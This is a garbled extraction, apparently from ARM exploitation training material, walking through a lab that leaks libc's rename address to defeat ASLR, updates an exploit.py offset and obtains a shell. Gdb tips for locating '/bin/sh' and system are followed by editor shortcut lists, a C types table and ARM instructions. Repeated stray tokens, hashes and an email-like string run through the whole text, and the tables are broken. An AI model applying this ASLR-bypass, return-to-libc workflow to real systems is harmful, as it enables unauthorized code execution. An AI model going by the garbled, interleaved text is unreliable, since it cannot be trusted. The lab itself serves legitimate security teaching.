> printf("The address of rename is: 0x%x\n", (unsigned int)&rename);
24356915
Compile the source into a file that won't overwrite anything. Set -fno-stack-protector.
nemo@mako:~/labs/leak/src$ ls
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
leak.c leak_rename leak_rename.c Makefile
Check and turn on ASLR. Run the leak program a few times to verify it is working.
nemo@mako:~/labs/leak/src$ sudo -i
[sudo] password for nemo:
root@mako:~# echo 2 > /proc/sys/kernel/randomize_va_space
root@mako:~# cat /proc/sys/kernel/randomize_va_space
2
root@mako:~# exit
live
logout
nemo@mako:~/labs/leak/src$ ./leak_rename
09b91222e5d2d3d668cf8e52ec5d35ba
Enter a command: clue
The address of rename is: 0xb6ed3a9d
Find the offset for rename. We need this offset to update the exploit.py script.
readelf
48:
micede1865@wii999_com
-a /lib/arm-linux-gnueabihf/libc.so.6 | grep rename
0003aafd 80 FUNC WEAK DEFAULT 14 renameat2@@GLIBC_2.28
813: 0003aacd 48 FUNC WEAK DEFAULT 14 renameat@@GLIBC_2.4
1677: 0003aa9d 48 FUNC GLOBAL DEFAULT 14 rename@@GLIBC_2.4
Use a copy of exploit.py copied into the src folder. So as not to overwrite the original python script.
24356915
nemo@mako:~/labs/leak/src$ vi exploit.py
Here are the changes in exploit.py. We are leaving the name offset_memmove even though it is actually now
offset_rename.
Run the updated program that leaks the runtime address of rename.
nemo@mako:~/labs/leak/src$ ./leak_rename
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Enter a command: clue
The address of rename is: 0xb6eb0a9d
Enter a command: ^Z
[1]+ Stopped ./leak_rename
live
Run Ctrl-z to put the leak_rename program in the background temporarily.
nemo@mako:~/labs/leak/src$ vi exploit.py
09b91222e5d2d3d668cf8e52ec5d35ba
> memmove_addr = 0xb6e99310
8c8
< offset_memmove = 0x3aa9d
---
> offset_memmove = 0x5f310
micede1865@wii999_com
nemo@mako:~/labs/leak/src$ python exploit.py
libc addr: 0xb6e76000, memmove_addr: 0xb6eb0a9d, gadget1 addr: 0xb6ed53fc, binstr addr: 0xb6f5634c,
system addr: 0xb6ea8991
nemo@mako:~/labs/leak/src$ cat config
cat: config: No such file or directory
nemo@mako:~/labs/leak/src$ cat config.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
24356915
Use fg (foreground) to change back into the leak_rename program. Run the 'clue' command again.
labs/leak/src$ fg
./leak_rename
clue
The address of rename is: 0xb6eb0a9d
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We got a shell! Success.
live
09b91222e5d2d3d668cf8e52ec5d35ba
Terminator
To view shortcut keys in Terminator, right click in the console window, then click Preferences and click on the Keybindings
tab.
Quick Tips:
micede1865@wii999_com
Ctrl+Shift+o Horizontal break
Ctrl+Shift+e Vertical break
Ctrl+Shift+t New tab
Alt+<arrow key> Change between windows
# Continue (execution)
(gdb) c
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
# Delete all breakpoints
(gdb) del
live
(gdb) find 0xb6ed7000, 0xb6fc0000, '/', 'b', 'i', 'n', '/', 's', 'h'
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) info reg $w0 $w1 $w2 $w3
micede1865@wii999_com
(gdb) print system
# Quite gdb
(gdb) quit
24356915
# Run the program (from the beginning)
(gdb) run
Paul Erwin
# Set gdb to auto-detect how to display the instructions (ARM or THUMB)
(gdb) set arm force-mode auto
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
# Display the follow-fork-mode setting
(gdb) show follow-fork-mode
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/1wx $sp
micede1865@wii999_com
(gdb) x/34bx 0xbefff3b0
24356915
# Examine 64 bytes in hex starting at the address held by r2
(gdb) x/64bx $r2
Paul Erwin
# Examine a string at the address held by r1
(gdb) x/s $r1
Nano
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The editor's keystrokes and their functions
File handling
Ctrl+S Save current file
Ctrl+O Offer to write file ("Save as")
Ctrl+R Insert a file into current one
Ctrl+X Close buffer, exit from nano
Editing
Ctrl+K Cut current line into cutbuffer
live
Alt+6 Copy current line into cutbuffer
Ctrl+U Paste contents of cutbuffer
Alt+T Cut until end of buffer
Ctrl+] Complete current word
Alt+3 Comment/uncomment line/region
09b91222e5d2d3d668cf8e52ec5d35ba
Ctrl+Q Start backward search
Ctrl+W Start forward search
Alt+Q Find next occurrence backward
Alt+W Find next occurrence forward
Alt+R Start a replacing session
Deletion
Ctrl+H Delete character before cursor
Ctrl+D Delete character under cursor
Ctrl+Del micede1865@wii999_com
Alt+Bsp Delete word to the left
Delete word to the right
Alt+Del Delete current line
Operations
Ctrl+T Execute some command
Ctrl+J Justify paragraph or region
Alt+J Justify entire buffer
Alt+B
Alt+F
Alt+:
Run a syntax check
Run a formatter/fixer/arranger
Start/stop recording of macro
24356915
Alt+; Replay macro
Moving around
Ctrl+B One character backward
Ctrl+F One character forward
Ctrl+← One word backward
Ctrl+→ One word forward
Ctrl+A To start of line
Paul Erwin
Ctrl+E To end of line
Ctrl+P One line up
Ctrl+N One line down
Ctrl+↑ To previous block
Ctrl+↓ To next block
Ctrl+Y One page up
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Ctrl+V One page down
Alt+\
Alt+/
To top of buffer
To end of buffer
Special movement
Alt+G Go to specified line
Alt+] Go to complementary bracket
Alt+↑ Scroll viewport up
Alt+↓
Alt+<
Alt+>
Scroll viewport down
Switch to preceding buffer
Switch to succeeding buffer
live
Information
Ctrl+C Report cursor position
Alt+D Report line/word/character count
Ctrl+G Display help text
09b91222e5d2d3d668cf8e52ec5d35ba
Shift+Tab
Alt+N
Alt+P
Unindent marked region
Turn line numbers on/off
Turn visible whitespace on/off
Alt+V Enter next keystroke verbatim
Ctrl+L Refresh the screen
Ctrl+Z Suspend nano
C Types
Type
micede1865@wii999_com
Name Size (bytes) Range
short
unsigned short
(signed) short
unsigned short
2
2
24356915
-32,768 to 32,767
0 to 65535
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
unsigned long
double
unsigned long
double
4
8
0 to 4,294,967295
1.7E-308 to 1.7E+308
ARM Instructions
live
Available online: https://www.keil.com/support/man/docs/armasm/armasm_dom1361289850509.htm
09b91222e5d2d3d668cf8e52ec5d35ba
ADD
ADR
Add
All
B micede1865@wii999_com
Branch All
BKPT
BL
Breakpoint
All
BXJ
CBZ, CBNZ
Branch, change to Jazelle®
T2
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
CLZ Count leading zeros 5, x6M
DBG
DMB
Debug
7, 6M